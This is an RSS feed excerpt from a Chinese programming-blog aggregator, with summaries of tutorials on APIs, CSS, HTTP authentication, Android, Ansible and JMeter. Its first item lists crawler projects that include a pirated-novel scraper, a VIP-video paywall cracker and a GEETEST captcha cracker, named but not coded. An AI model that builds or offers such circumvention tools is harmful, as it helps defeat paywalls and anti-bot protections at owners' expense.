      <description>目录 爬虫小工具&#xA;文件下载小助手&#xA;爬虫实战&#xA;笔趣看小说下载&#xA;VIP视频下载&#xA;百度文库文章下载_rev1&#xA;百度文库文章下载_rev2&#xA;《帅啊》网帅哥图片下载&#xA;构建代理IP池&#xA;《火影忍者》漫画下载&#xA;财务报表下载小助手&#xA;一小时入门网络爬虫&#xA;抖音App视频下载_rev1&#xA;抖音App视频下载_rev2&#xA;抖音App视频下载_rev3&#xA;GEETEST验证码破解&#xA;12306抢票小助手&#xA;百万英雄答题辅助系统&#xA;网易云音乐批量下载&#xA;B站视频和弹幕批量下载&#xA;其它&#xA;爬虫小工具&#xA;downloader.py:文件下载小助手 一个可以用于下载图片、视频、文件的小工具，有下载进度显示功能。稍加修改即可添加到自己的爬虫中。&#xA;动态示意图：&#xA;爬虫实战&#xA;1、biqukan.py:《笔趣看》盗版小说网站，爬取小说工具&#xA;第三方依赖库安装：&#xA;pip3 install beautifulsoup4 使用方法：&#xA;python biqukan.py 2、video_downloader：爱奇艺等主流视频网站的VIP视频破解助手(暂只支持PC和手机在线观看VIP视频！)&#xA;感谢Python3二维码生成器作者：&#xA;https://github.com/sylnsfar/qrcode&#xA;编译好的软件下载连接：https://pan.baidu.com/s/1bqSTNJL 密码:p8bs&#xA;解压密码：cuijiahua.com&#xA;无需Python3环境，在Windows下，解压即用！软件使用方法&#xA;源码可查看video_downloader，运行源码需要搭建Python3环境，并安装相应第三方依赖库：&#xA;在video_downloader文件夹下，安装第三方依赖库：&#xA;pip3 install -r requirements.txt 使用方法：&#xA;python movie_downloader.py 运行环境：&#xA;Windows, Python3Linux, Python3Mac, Python3 3、baiduwenku.py: 百度文库word文章爬取&#xA;原理说明：&#xA;http://blog.csdn.net/c406495762/article/details/72331737&#xA;代码不完善，没有进行打包，不具通用性，纯属娱乐，以后有时间会完善。&#xA;4、shuaia.py: 爬取《帅啊》网，帅哥图片&#xA;《帅啊》网URL：http://www.shuaia.net/index.html&#xA;原理说明：&#xA;http://blog.csdn.net/c406495762/article/details/72597755&#xA;第三方依赖库安装：&#xA;pip3 install requests beautifulsoup4 5、daili.</description>
    </item>
    <item>
      <title>如何调用api接口获取其中的数据</title>
      <link>https://bchobby.github.io/posts/a31f18bfa23394898ea6e6c6bd0b3ddf/</link>
      <pubDate>Wed, 17 May 2023 11:02:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a31f18bfa23394898ea6e6c6bd0b3ddf/</guid>
      <description> part1.API接口可以运用到的场景，主要包括以下几个方面：&#xA;1. 应用程序集成：API可以使不同的应用程序相互之间进行集成，比如将某个应用程序的数据传递给另一个应用程序，或者调用另一个应用程序的功能。&#xA;2. 数据共享：API可以用来共享数据，从而使不同的应用程序可以访问同一组数据。这样做可以降低重复代码的数量，并使开发过程更加高效、稳定。&#xA;3. 服务端编程：API可以用于服务端编程，其可以向客户端提供服务。比如计算某个值、存储或获取某个数据等。&#xA;4. 移动应用程序编程：API可以用于移动应用程序中，从而实现各种功能。比如，使用地图API以显示地图、调用社交媒体API以分享或访问社交媒体数据等。&#xA;5. 自动化流程编程：API可用于帮助自动化流程编程，比如能调用企业内部系统的API，让系统之间的信息沟通起来，进而自动建设和运营流程，节省手动操作成本和时间。&#xA;总的来说，API接口具有广泛的应用场景，可以使不同的应用程序互相沟通、集成、共享数据、提供服务，进而减少重复代码，提高开发效率和应用程序的质量。 part2.调用API接口获取数据的具体步骤如下：&#xA;1. 确认API接口的请求地址和所需参数：需要先查看API文档，了解所要访问的API接口的请求地址和请求参数，以便正确地构造请求和获取数据。&#xA;2. 发送API请求：需使用HTTP协议发出请求，包括POST、GET、PUT等请求方式。其中GET方式一般用于获取数据，POST方式一般用于提交数据，PUT方式一般用于更新数据。根据接口要求，构造相应的请求方式并发送API请求。&#xA;3. 等待响应结果：API接口请求发送完成后，需要等待API响应结果。一般来说，在请求成功的情况下，API接口会返回应答内容，如果请求失败，则返回错误信息。&#xA;4. 解析API响应：获取API接口返回的内容后，需要将返回的内容进行解析，取出所需要的数据。&#xA;5. 对数据进行处理：获取数据后，需要将其转换为程序可以使用的格式，并进行相应的处理和操作。&#xA;6. 显示或存储数据：最后，需要将获取到的数据进行显示或存储，根据具体的业务需求进行相应的操作。&#xA;需要注意的是，调用API接口获取数据涉及到网络连接，需要保证网络状况良好。同时需要检查API文档，确保请求参数和响应的数据格式正确，以确保数据能够被正确地解析和使用。建议开发者使用专业的API请求工具，如Postman、Insomnia等工具进行测试和调试，以提高开发效率和准确性。 </description>
    </item>
    <item>
      <title>catchment、watershed、basin</title>
      <link>https://bchobby.github.io/posts/7f2384bcb234bea4a364c0576eb39d10/</link>
      <pubDate>Wed, 17 May 2023 10:54:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7f2384bcb234bea4a364c0576eb39d10/</guid>
      <description>catchment最小，watershed中间，basin最大</description>
    </item>
    <item>
      <title>CSS transform属性</title>
      <link>https://bchobby.github.io/posts/7ec2f02086f6b721c22aef5e32ea812f/</link>
      <pubDate>Wed, 17 May 2023 09:49:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7ec2f02086f6b721c22aef5e32ea812f/</guid>
      <description> 一，transform（变形） 1.transform字面的意思就是变形的意思，在CSS3中，transform支持的几个操作有&#xA;（1）旋转rotate、&#xA;（2）扭曲skew、&#xA;（3）缩放scale&#xA;（4）移动translate&#xA;（5）矩阵变形matrix。&#xA;2.transform不会触发回流，和重绘。&#xA;二，transform各操作使用介绍 1.rotate(xx deg)(2D), rotateX()(3D), rotateY()(3D)：以中心为基点，deg表示旋转的角度，为负数时表示逆时针旋转。&#xA;2.translate(x,y) ，translateX(x) ，translateY(y)：以中心为基点按照设定的x,y参数值,对元素进行进行平移。&#xA;3.scale(x,y)，scaleX(x,1)， scaleY(1,Y)：缩放基数为1，如果其值大于1元素就放大，反之其值小于1为缩小。&#xA;4.skew(x,y)， skewX(x)， skewY(y)：以中心为基点，第一个参数是水平方向扭曲角度，第二个参数是垂直方向扭曲角度。&#xA;三，基点 1.所有操作的默认的基点都在中心位置，我们可以使用transform-origin：(x,y)来改变元素基点。&#xA;x可以取left，center ，right，是水平方向取值，也可以取对应的百分值为left=0%;center=50%;right=100%&#xA;y可以取top ，center， bottom，是垂直方向的取值，其中top=0%;center=50%;bottom=100%;&#xA;#tran{ transform-orgin:(left,top); transform:rotate(30deg); } 四，浏览器兼容 1.目前transform只支持IE10+，对IE9不支持，要兼容浏览器需要添加前缀&#xA;{ transform:translate(10,10) // W3c标准 -webkit-transform:translate(10,10) // Safari Chrome -moz-transform:translate(10,10) // firefox -ms-transform:translate(10,10) // IE9 -o-transform:translate(10,10) // opera } </description>
    </item>
    <item>
      <title>从零开始手写一个http-basic认证服务器</title>
      <link>https://bchobby.github.io/posts/a8f5af61eb4eb726f10597342446d236/</link>
      <pubDate>Wed, 17 May 2023 09:10:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a8f5af61eb4eb726f10597342446d236/</guid>
      <description>简单了解HTTP&#xA;HTTP是英文HyperText Transfer Protocol首字母缩写，是目前WWW万维网通讯标准协议，在属于OSI第七层（应用层）协议，要实现HTTP协议通常需要基于TCP-Socket套接字作为传输层的支撑。&#xA;什么是http-basic&#xA;http-basic是http协议的认证模块，http-basic也是http协议下的协议。下面先来看一下http-basic协议流程图：&#xA;流程图说明：&#xA;第一步：当客户端通过浏览器访问实现了http-basic的后端服务器时，后端服务器首先会校验是否携带Authorization请求头，如果没有则返回Code=401:&#xA;http.setCode(401); http.setStatus(&#34;Unauthorized&#34;); // 其中Basic表示认证类型为Basic，Realm用来描述后端应用名称，例如OA，CRM，可自定义 // 除了Basic认证类型外，后面还会将另一种类型：Digest http.setHeader(&#34;WWW-Authenticate&#34;, &#34;Basic Reaml=\&#34;HTTP Demo Server\&#34;&#34;); 下面是谷歌浏览器默认抓包截图：&#xA;此时用户就会收到浏览器弹出的登陆输入框：&#xA;第二步：当用户输入用户名和密码，点击登陆按钮时，浏览器会将表单的用户名和密码按规则：BASE64(用户名:密码)编码后放到请求头为HTTP-Request-Header=Authorization: Basic cm9vdDoxMjM0NTY= 方式提交给服务器进行认证，具体截图如下：&#xA;第三步：后端服务器接收到请求后，仍然会校验是否携带Authorization请求头，如果携带，则通过BASE64解码出来得到用户名:密码字符串，然后通过&#34;:&#34;进行分隔得到用户名和密码进行验证，如果验证失败，继续第一步的内容，如果验证成功，后端服务可能会进一步验证URL资源权限等，如果验证资源权限不通过，此时参考第一步的方式返回（注意此时返回Code=403）：&#xA;http.setCode(401); http.setStatus(&#34;Forbidden&#34;); http.setHeader(&#34;WWW-Authenticate&#34;, &#34;Basic Reaml=\&#34;HTTP Demo Server\&#34;&#34;); 如果验证通过，则返回Code=200即可：&#xA;http.setCode(200); http.setStatus(&#34;OK&#34;); http-basic缺陷&#xA;http-basic（当响应头WWW-Authenticate：Basic Reaml=xxx）存在以下缺陷：&#xA;1、用户名和密码明文（仅仅只是Base64编码而已）传输，需要配合HTTPS来保证信息传输的安全。&#xA;2、就算HTTPS将密码加密传输，也仍然存在重放攻击风险。&#xA;3、代理和中间节点的防护措施弱，很容易通过伪装服务器来骗过认证，诱导用户输入用户名和密码。&#xA;下面将介绍http-basic升级版更为安全的摘要认证http-digest。&#xA;了解http-digest流程&#xA;http-digest流程比http-basic流程复杂很多，流程图如下：&#xA;下面对http-digest涉及的字段作用进行说明：&#xA;WWW-Authentication：用来定义使用何种方式（Basic、Digest、Bearer等）去进行认证以获取受保护的资源。&#xA;realm：表示Web服务器中受保护文档的安全域（比如OA、CRM系统域等），用来指示需要哪个域的认证。&#xA;qop：保护质量，包含auth（默认的）和auth-int（增加了报文完整性检测）两种策略，可以为空，但不推荐为空值。&#xA;nonce：服务端向客户端发送质询时附带的一个随机数，这个数会经常发生变化。客户端计算密码摘要时将其附加上去，使得多次生成同一用户的密码摘要各不相同，用来防止重放攻击。&#xA;nc：nonce计数器，是一个16进制的数值，表示同一nonce下客户端发送出请求的数量。例如，在响应的第一个请求中，客户端将发送“nc=00000001”。这个指示值的目的是让服务器保持这个计数器的一个副本，以便检测重复的请求。&#xA;cnonce：客户端随机数，这是一个不透明的字符串值，由客户端提供，并且客户端和服务器都会使用，以避免用明文文本。这使得双方都可以查验对方的身份，并对消息的完整性提供一些保护。&#xA;response：这是由用户代理软件计算出的一个字符串，以证明用户知道口令。&#xA;Authorization-Info：用于返回一些与授权会话相关的附加信息。&#xA;nextnonce：下一个服务端随机数，使客户端可以预先发送正确的摘要&#xA;rspauth：响应摘要，用于客户端对服务端进行认证。&#xA;stale：当密码摘要使用的随机数过期时，服务器可以返回一个附带有新随机数的401响应，并指定stale=true，表示服务器在告知客户端用新的随机数来重试，而不再要求用户重新输入用户名和密码了。&#xA;http-digest流程说明&#xA;第一步：当客户端通过浏览器访问实现了http-digest的后端服务器时，后端服务器首先会校验是否携带Authorization请求头，如果没有则返回Code=401：&#xA;http.setCode(401); http.setStatus(&#34;Unauthorized&#34;); // 其中Basic表示认证类型为Basic，Realm用来描述后端应用名称，例如OA，CRM，可自定义 // 除了Basic认证类型外，后面还会将另一种类型：Digest http.setHeader(&#34;WWW-Authenticate&#34;, &#34;Basic Reaml=\&#34;HTTP Demo Server\&#34;</description>
    </item>
    <item>
      <title>Element-UI el-select多选表单校验问题</title>
      <link>https://bchobby.github.io/posts/344d76e371d4ed2bd63abc069686d3ed/</link>
      <pubDate>Wed, 17 May 2023 01:08:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/344d76e371d4ed2bd63abc069686d3ed/</guid>
      <description>在使用 el-select 多选下拉菜单配置表单校验时， 如果form表单绑定的form对象对应属性值为空字符串或者null（其他未尝试），表单中的多选下拉框会立刻执行校验并弹出校验信息，代码如下：&#xA;&amp;lt;el-form :model=&#34;form&#34; :rules=&#34;settingFormRules&#34;&amp;gt; &amp;lt;el-form-item prop=&#34;level&#34;&amp;gt; &amp;lt;span slot=&#34;label&#34;&amp;gt; 级别&amp;lt;span style=&#34;color: #B9BBC4&#34;&amp;gt;（支持多选）&amp;lt;/span&amp;gt; &amp;lt;/span&amp;gt; &amp;lt;el-select v-model=&#34;form.level&#34; multiple placeholder=&#34;请选择&#34; style=&#34;width:100%&#34;&amp;gt; &amp;lt;el-option v-for=&#34;item in levelOptions&#34; :key=&#34;item.id&#34; :label=&#34;item.level_name&#34; :value=&#34;item.id&#34; /&amp;gt; &amp;lt;/el-select&amp;gt; &amp;lt;/el-form-item&amp;gt; &amp;lt;el-form-item prop=&#34;info&#34;&amp;gt; &amp;lt;span slot=&#34;label&#34;&amp;gt; 信息&amp;lt;span style=&#34;color: #B9BBC4&#34;&amp;gt;（支持多选）&amp;lt;/span&amp;gt; &amp;lt;/span&amp;gt; &amp;lt;el-select v-model=&#34;form.info&#34; multiple placeholder=&#34;请选择&#34; style=&#34;width:100%&#34;&amp;gt; &amp;lt;el-option v-for=&#34;item in infoOptions&#34; :key=&#34;item.id&#34; :label=&#34;item.infor_name&#34; :value=&#34;item.id&#34; /&amp;gt; &amp;lt;/el-select&amp;gt; &amp;lt;/el-form-item&amp;gt; &amp;lt;/el-form&amp;gt; data() { return { form: { level: &#39;&#39;, info: null }, rules: { level: [{ required: true, message: &#39;请选择级别&#39;, trigger: &#39;change&#39; }], info: [{ required: true, message: &#39;请选择信息&#39;, trigger: &#39;change&#39; }], } } } 正确方式如下： 将多选下拉框对应的属性值默认值设置未空数组即可</description>
    </item>
    <item>
      <title>哈夫曼树（结合王卓老师课程内容）</title>
      <link>https://bchobby.github.io/posts/a39b82e9733bb9646d0056e525ea133b/</link>
      <pubDate>Tue, 16 May 2023 20:44:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a39b82e9733bb9646d0056e525ea133b/</guid>
      <description>目录&#xA;1、哈夫曼树的基本概念&#xA;2、哈夫曼树的构造方法&#xA;3、哈夫曼树的算法实现&#xA;先分析：&#xA;第一步：&#xA;第二步：&#xA;再实现：&#xA;第一步 ：&#xA;第二步：&#xA;4、哈夫曼树编码思想&#xA;5、哈夫曼编码的算法实现。 6、文件的编码和译码&#xA;7、根据哈夫曼树求哈夫曼编码的完整代码：&#xA;8、 以26个英文字母的频率为权构造一棵哈夫曼树：&#xA;1、哈夫曼树的基本概念 路径从树中一个结点到另一个结点之间的分支构成这两个结点之间的路径。路径长度路径上的分支数目称作路径长度。树的路径长度从树根到每一结点的路径长度之和。结点的带权路径长度从该结点到树根之间俺的路径长度与结点上权值的乘积。树的带权路径长度树中所有叶子结点的带权路径长度之和。（WPL） 2、哈夫曼树的构造方法 ██ 哈夫曼算法口诀：1、构造森林全是根；2、选用两小造新树；3、删除两小添新人；4、重复2、3剩单根。&#xA;██ 上面的例子，有四个结点，由哈夫曼算法口诀，先找出两个小的结点，即 c 和 d，由 c 和 d结合造一棵新树 ，即图中蓝色区域，然之后在第一个黑框中重复2、3；即在7，5，6这三个结点里选择另个小的结点，组成一棵树即绿框区域。接着再将7,11，这两个结点结合成一棵树。&#xA;✔总结哈夫曼树的特点：&#xA;1、哈夫曼树的结点的度数为0或者2，没有度为1的结点。&#xA;2、在哈夫曼算法中，初始时有n棵二叉树，要经过n-1次合并最终形成哈夫曼树。&#xA;3、经过n-1次合并产生n-1个新结点，且n-1个新结点都是具有两个孩子的分支结点。&#xA;所以哈夫曼树中共有2n-1个结点，且其所有的分支结点的度均不为1.&#xA;3、哈夫曼树的算法实现 先分析： 第一步： 采用顺序储存结构——一维结构数组&#xA;（哈夫曼树中共有2n-1个结点，我们不适用0下标，所以定义数组大小为2n）&#xA;举个栗子：&#xA;有n=8,权值为W={7，19，2，6，32，3，21，10} 构造哈夫曼树。&#xA;由上面的哈夫曼算法口诀“构造森林全是根”，所以先将结点的父母和左右子树全置为0.然后将结点1-8的权值先附上。&#xA;第二步： 然后口诀里的下一步是“选用两小造新树”，那么我们就在1-8里找权值最小的，也就是2和3，然后我们就把它们结成一个新树，如上右图。第三句口诀是“删除两小添新人”。删除也就是把两个权值小的结点的双亲改为非0. 添新人，也就是把合并两个小的权值作为一个新结点的权值依次存放如数组。在这里例子里，也就是2和3的权值和为5，那就将5存放在9的位置。（完成添新人这一操作） 然后将权值为2和3的结点的双亲改为9. （完成删两小这一操作） 那么这一步的操作就完成了。接下来依次循环。那么最后的哈夫曼树如下：&#xA;再实现： 第一步 ： 也就是口诀里的第一步“构造森林全是根”。 上面例子的话就是将结点的父母和左右子树全置为0.然后将结点1-8的权值先附上的这一步。&#xA;第二步： 也就是口诀里的2、选用两小造新树；3、删除两小添新人； 即上述例子里的第二步。&#xA;红色框框里的Select() 是选择两个权值最小的结点的函数 具体如下：&#xA;void Select(HuffmanTree HT,int len,int &amp;amp;s1,int &amp;amp;s2) { int i,min1=0x3f3f3f3f,min2=0x3f3f3f3f;//先赋予最大值 for(i=1;i&amp;lt;=len;i++) { if(HT[i].</description>
    </item>
    <item>
      <title>springboot结合ip2region</title>
      <link>https://bchobby.github.io/posts/51dabee8e2fba51cdf479c9bdee82d6a/</link>
      <pubDate>Tue, 16 May 2023 17:15:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/51dabee8e2fba51cdf479c9bdee82d6a/</guid>
      <description>1.需求 产品要求：按用户ip自动获取城市。&#xA;2.解决 在网上找了挺久的，找到一个是线上版本和离线版本&#xA;1.线上版本 线上链接&#xA;还有离线版本经过技术主管的选型决定使用离线版本，因为跟我们的实际情况贴近。&#xA;2.离线版本开源项目ip2region 1.导入Maven包 GitHub地址：https://github.com/lionsoul2014/ip2region&#xA;它有分新版跟旧版不建议旧版因为有坑，我已经踩过建议喜新厌旧。&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.lionsoul&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;ip2region&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.7.0&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 2.导入ip2region.xdb 注意是放在resources底下&#xA;3.获取IP地址工具类 package io.geekidea.springbootplus.framework.util; import cn.hutool.core.io.IoUtil; import cn.hutool.core.util.StrUtil; import lombok.extern.slf4j.Slf4j; import org.lionsoul.ip2region.xdb.Searcher; import org.springframework.core.io.ClassPathResource; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.context.request.ServletRequestAttributes; import javax.servlet.http.HttpServletRequest; import java.io.InputStream; import java.net.InetAddress; import java.net.UnknownHostException; /** * 获取IP地址工具类 * @author geekidea * @date 2018-11-08 */ @Slf4j public final class IpUtil { private static final String UNKNOWN = &#34;unknown&#34;; private static final String IPV6_LOCAL = &#34;</description>
    </item>
    <item>
      <title>开发功能归纳</title>
      <link>https://bchobby.github.io/posts/0768a1e069a3506b2426759ba6330e05/</link>
      <pubDate>Tue, 16 May 2023 17:13:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0768a1e069a3506b2426759ba6330e05/</guid>
      <description>例子都有对应测试数据可以跑通查看&#xA;目录 1.搜索跳转，判空后再执行后续动作2.自定义下拉框，点击后需要赋值给匹配name名的input存值3.同级标签切换类名逻辑4.页面滚动某个距离给标签添加类名5.监听鼠标滚轮 滚动事件（需要引入jquery.mousewheel.min.js）6.swiper-点击按钮实现开启或者停止自动轮播7.swiper 设置进度条8.获取数据类型9.数据判空11.遍历数据返回以及遍历数据查找对应数据12.把相同楼名归类后，下属楼层放入一个list中13.获取文本是否超出了行高13.页面滚动时，判断某个元素开始漏出 1.搜索跳转，判空后再执行后续动作 // 回车动作 $(&#39;.check_empty&#39;).off(&#34;keydown&#34;).on(&#34;keydown&#34;, function (e) { let { keyCode } = e; let p = $(this).closest(&#39;.search-form&#39;) if (keyCode == 13) { $(this).val($(this).val().trim()) let val = p.find(&#39;.check_empty&#39;).val() let reg = /^[\u4e00-\u9fa5_a-zA-Z0-9]+$/; flag = reg.test(val); if (flag) { // $(this).attr(&#34;type&#34;, &#34;submit&#34;); } else { return false } } }); // 点击搜索动作 $(&#39;.search-btn&#39;).off(&#34;click&#34;).on(&#34;click&#34;, function (e) { let p = $(this).closest(&#39;.search-form&#39;) let val = p.find(&#39;.check_empty&#39;).val() let reg = /^[\u4e00-\u9fa5_a-zA-Z0-9]+$/; flag = reg.</description>
    </item>
    <item>
      <title>Android之 Activity活动详解</title>
      <link>https://bchobby.github.io/posts/f53a36830b170f5fcf30a86589ec678c/</link>
      <pubDate>Tue, 16 May 2023 15:53:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f53a36830b170f5fcf30a86589ec678c/</guid>
      <description>一 四大组件&#xA;1.1 Activity组件，它一个单独的窗口，程序流程都必须在Activity中运行。&#xA;1.2 service组件，用于在后台完成用户指定的操作。&#xA;1.3 content provider组件，会为所有的应用准备一个内容窗口，并且保留数据库、文件。&#xA;1.4 broadcast receiver组件，是程序之间传递信息时的一种机制，作用就是接收或者发送通知。&#xA;二 Activity简介&#xA;2.1 Activity是四大组件中用的最多的，是数据显示的载体，也是用户视觉显示和行为操控的界面。&#xA;2.2 一个程序包含一个或者多个Activity，Activity之间的跳转和数据通信依赖于Intent（意图）。&#xA;三 Activity的创建&#xA;3.1 Actvity是一个Java类，先创建一个Class，继承于Activity或者&#xA;public class MainActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); } } 3.2 创建xml布局文件&#xA;&amp;lt;FrameLayout xmlns:android=&#34;http://schemas.android.com/apk/res/android&#34; xmlns:app=&#34;http://schemas.android.com/apk/res-auto&#34; android:layout_width=&#34;match_parent&#34; android:layout_height=&#34;match_parent&#34;&amp;gt; ................... &amp;lt;/FrameLayout&amp;gt; 3.3 在清单文件AndroidManifest.xml注册Activity组件&#xA;&amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;utf-8&#34;?&amp;gt; &amp;lt;manifest xmlns:android=&#34;http://schemas.android.com/apk/res/android&#34; package=&#34;com.example.myapplication&#34;&amp;gt; &amp;lt;uses-permission android:name=&#34;android.permission.INTERNET&#34; /&amp;gt; &amp;lt;application android:allowBackup=&#34;true&#34; android:icon=&#34;@mipmap/ic_launcher&#34; android:label=&#34;@string/app_name&#34; android:roundIcon=&#34;@mipmap/ic_launcher_round&#34; android:supportsRtl=&#34;true&#34; android:theme=&#34;@style/Theme.MyApplication&#34;&amp;gt; &amp;lt;activity android:name=&#34;.MainActivity&#34; android:exported=&#34;true&#34;&amp;gt; &amp;lt;intent-filter&amp;gt; &amp;lt;action android:name=&#34;</description>
    </item>
    <item>
      <title>四十六、Ansible-自动化运维</title>
      <link>https://bchobby.github.io/posts/fa3f9ade1877b284871ee114c20c48aa/</link>
      <pubDate>Tue, 16 May 2023 15:28:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fa3f9ade1877b284871ee114c20c48aa/</guid>
      <description>1、简介 随着互联网IT运维飞速发展，目前市场上涌现了大量的自动化配置维护工具，例如 PSSH、Puppet、Chef、SaltStack、Ansible等。目前互联网企业使用最多的两款自动化配置工具是Ansible和Saltstack。&#xA;1.1 Puppet自动运维工具&#xA;Puppet是早期的Linux自动化运维工具，是一种Linux、Unix、Windows平台的集中配置管理系统，发展至今目前已经非常成熟，可以批量管理远程服务器，模块丰富，配置复杂，基于Ruby语言编写。最典型的C/S模式，需要安装服务端与客户端。&#xA;puppet采用C/S星状的结构，所有的客户端和一个或几个服务器交互，每个客户端周期的（默认半个小时）向服务器发送请求，获得其最新的配置信息，保证和该配置信息同步。&#xA;每个puppet客户端每半小时(可以设置)连接一次服务器端, 下载最新的配置文件,并且严格按照配置文件来配置客户端. 配置完成以后，puppet客户端可以反馈给服务器端一个消息，如果出错也会给服务器端反馈一个消息。&#xA;Puppet适用于服务器管理的整个过程，比如初始安装、配置、更新以及系统下线。&#xA;1.2 Saltstack自动运维工具&#xA;Saltstack与Puppet均是C/S模式，需安装服务端与客户端，基于Python编写，加入MQ消息同步，可以使执行命令和执行结果高效返回，但其执行过程需等待客户端全部返回，如果客户端未及时返回或未响应的话，可能会导致部分机器没有执行结果。&#xA;1.3 Ansible自动运维工具&#xA;Ansible与Saltstack均是基于Python语言开发，Ansible只需要在一台普通的服务器上运行即可，不需要在客户端服务器上安装客户端。因为Ansible是基于SSH远程管理，而Linux服务器大都离不开SSH，所以Ansible不需要为配置工作添加额外的支持。Ansible安装使用非常简单，而且基于上千个插件和模块实现各种软件、平台、版本的管理，支持虚拟容器多层级的部署。很多读者在使用Ansible工具时，认为Ansible比Saltstatck执行效率慢，其实不是软件本身慢，是由于SSH服务慢，可以优化SSH连接速度及使用Ansible加速模块，满足企业上万台服务器的维护和管理。&#xA;Ansible运维工具原理：&#xA;Ansible是一款极为灵活的开源工具套件，能够大大简化Unix管理员的自动化配置管理与流程控制方式。它利用推送方式对客户系统加以配置，这样所有工作都可在主服务器端完成。其命令行机制同样非常强大，允许大家利用商业许可Web UI实现授权管理与配置。可以通过命令行或者GUI来使用Ansible，运行Ansible的服务器这里俗称“管理节点”;通过Ansible进行管理的服务器俗称“受控节点”。权威媒体报道Ansible于2015年被Red Hat公司1.5亿美元收购，新版Red Hat内置Ansible软件。&#xA;Ansible自动运维管理工具优点：&#xA;轻量级，更新时，只需要在操作机上进行一次更新即可;&#xA;采用SSH协议;&#xA;不需要去客户端安装agent;&#xA;批量任务执行可以写成脚本，而且不用分发到远程就可以执行;&#xA;使用python编写的，维护更简单;&#xA;支持sudo普通用户命令;&#xA;去中心化管理。&#xA;Ansible自动运维管理工具工作原理拓扑：&#xA;2、Ansible 安装配置 Ansible 可以工作在Linux、BSD、Mac OS X 等平台，对Python环境的版本最低要求为Python2.6以上，如果操作系统Python软件版本为2.4，需要升级方可使用Ansible工具。Red Hat、CentOS操作系统可以直接基于YUM工具自动安装Ansible，CentOS6.x或者CentOS7.x安装前，需先安装epel扩展源。&#xA;[root@localhost ~]# yum install -y ansible Ansible工具默认主目录为：/etc/ansible/，其中hosts文件为被管理机IP或者主机名列表，ansible.cfg为ansible主配置文件，roles为角色或者插件路径，默认该目录为空。&#xA;[root@localhost ~]# ll /etc/ansible/ 总用量 28 -rw-r--r-- 1 root root 19985 3月 7 12:43 ansible.cfg -rw-r--r-- 1 root root 1067 3月 30 21:33 hosts -rw-r--r-- 1 root root 1016 3月 30 21:12 hosts.</description>
    </item>
    <item>
      <title>【Kali】Linux 长时间不启动 时间不对 无法更新 无法打开网页 无有效签名 无法安装程序</title>
      <link>https://bchobby.github.io/posts/3fb8a1356728af47dffbce235597ae6b/</link>
      <pubDate>Tue, 16 May 2023 15:00:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3fb8a1356728af47dffbce235597ae6b/</guid>
      <description>给大家菜踩过一遍雷了&#xA;如标题中所写，这一切原因都是因为系统时间与现实时间相差太大导致。&#xA;本人也是小白一个，搜索了一堆，都各种说法，设置时区，重启NTP服务啥的都不行&#xA;试了下重装NTP，结果显示没有发现这个软件包，然后提示了“ntpsec”可能会取代它&#xA;最后去系统目录找了下 发现有个叫做“ntpsec”的东西，然后试了下这个命令：&#xA;/etc/init.d/ntpsec restart&#xA;好了，哈哈哈哈哈</description>
    </item>
    <item>
      <title>没有比这更详细的-压测工具Jmeter介绍及使用了</title>
      <link>https://bchobby.github.io/posts/af4f823c3e2d5b26ea0865d8f242f423/</link>
      <pubDate>Tue, 16 May 2023 14:57:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/af4f823c3e2d5b26ea0865d8f242f423/</guid>
      <description> 一、压测工具选型&#xA;1.1、前言&#xA;压力测试是每一个Web应用程序上线之前都需要做的一个测试，他可以帮助我们发现系统中的瓶颈问题，减少发布到生产环境后出问题的几率；预估系统的承载能力，使我们能根据其做出一些应对措施。所以压力测试是一个非常重要的步骤，关于java应用的压力测试，业界常用工具为Apache Jmeter。（http://jmeter.apachne.org）。&#xA;1.2、工具概述&#xA;Apache JMeter是Apache组织开发的基于Java的压力测试工具。用于对软件做压力测试，它最初被设计用于Web应用测试，但后来扩展到其他测试领域。 它可以用于测试静态和动态资源，例如静态文件、Java 小服务程序、CGI 脚本、Java 对象、数据库、FTP 服务器， 等等。JMeter 可以用于对服务器、网络或对象模拟巨大的负载，来自不同压力类别下测试它们的强度和分析整体性能。另外，JMeter能够对应用程序做功能/回归测试，通过创建带有断言的脚本来验证你的程序返回了你期望的结果。为了最大限度的灵活性，JMeter允许使用正则表达式创建断言。&#xA;Apache jmeter 可以用于对静态的和动态的资源（文件，Servlet，Perl脚本，java 对象，数据库和查询，FTP服务器等等）的性能进行测试。它可以用于对服务器、网络或对象模拟繁重的负载来测试它们的强度或分析不同压力类型下的整体性能。你可以使用它做性能的图形分析或在大并发负载测试你的服务器/脚本/对象。&#xA;二、压测工具安装&#xA;2.1、软件版本&#xA;本次测试，选择Jmeter官方最新版本进行。由于只有windows操作系统具备Jmeter的可视化界面，因此本次选择windows版本进行安装，以方便进行压测配置。&#xA;2.2、安装步骤 下载Jmeter：https://dlcdn.apache.org//jmeter/binaries/apache-jmeter-5.5.tgz&#xA;解压到指定文件夹：D:\software\Dev-Env\Jmeter\apache-jmeter-5.5&#xA;配置到环境变量：主要配置JMETER_HOME=D:\software\Dev-Env\Jmeter\apache-jmeter-5.5\bin以及CLASSPATH配置%JMETER_HOME%\bin;&#xA;运行Jmeter：在安装目录下bin文件夹，找到jmeter.bat，双击运行即可。成功后显示如下：&#xA;注意该窗口的提示信息，意思就是：不要使用GUI运行压力测试，GUI仅用于压力测试的创建和调试；执行压力测试请不要使用GUI。使用下面的命令来执行测试：&#xA;三、应用平台压测（登录接口） 3.1、配置线程池 考虑到目前的用户量，配置500个线程，循环1次。&#xA;3.2、配置请求头 在我们刚刚创建的线程组上右键 